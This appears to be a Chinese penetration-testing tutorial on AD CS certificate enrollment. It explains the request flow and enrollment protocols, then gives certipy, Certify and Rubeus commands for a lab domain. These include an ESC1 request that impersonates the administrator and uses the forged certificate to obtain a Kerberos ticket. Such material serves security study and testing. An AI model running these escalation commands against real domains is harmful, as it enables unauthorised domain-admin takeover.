申请证书和证书攻击
使用模板申请证书流程图如下:
-
客户端生成密钥对。
-
客户端生成证书签名请求(CSR,Certificate Signing Request),CSR 有密钥对的私钥签名,主要包含证书模板和密钥对的公钥。
-
服务端检查模板是否允许,用户是否具有申请证书的权限。
-
服务端生成证书,并用 CA 私钥进行数字签名。
-
生成后,服务端发放证书给客户端。
-
第 4 步中的 CA 私钥是颁发者信任证书的密钥对中的私钥。
-
颁发者信任证书会成为所申请证书的证书链中的上一级证书。
注册证书方式
客户端可以根据 ADCS 环境的配置选择不同⽅式注册证书:
-
Windows 客户端证书注册协议(MS-WCCE),这是一组分布式组件对象模型(DCOM)接口,可与 ADCS 进行交互。DCOM 服务默认在所有 ADCS 服务器上启用。
-
ICertPassage 远程协议(MS-ICPR):在命名管道或 TCP/IP 上运行的 RPC 协议。
-
证书注册 Web 界面,ADCS 服务器需要安装并配置 “证书颁发机构 Web 注册” 角色。访问http:///certsrv/。
用户模板:所有域用户都有利用此模板申请证书权限。
机器模板:Domain Computers 组中的机器用户都有利用此模板申请证书权限。
#用户请求证书 certipy req -u administrator@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target 192.168.72.21 -ca HACK-DC01-CA -template User -debug #机器请求证书 certipy req -u WIN10-02\$ -p p-0p-0p-0 -dc-ip 192.168.72.21 -target 192.168.72.21 -ca HACK-DC01-CA -template Machine -debug #在域内机器执行,以当前登录的用户权限申请证书 Certify.exe request /ca:DC01.HACK.com\HACK-DC01-CA /template:User #在域内机器执行,以当前登录的用户权限伪造 administrator 用户申请证书 Certify.exe request /ca:DC01.HACK.com\HACK-DC01-CA /template:ESC1 /altname:HACK\administrator certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug
Rubeus
使用 Rubeus 执行如下命令用证书 administrator.pfx 进行 Kerberos 认证。 Rubeus.exe asktgt /user:administrator /password:p-0p-0p-0 /certificate:administrator.pfx /domain:HACK.com /dc:DC01.HACK.com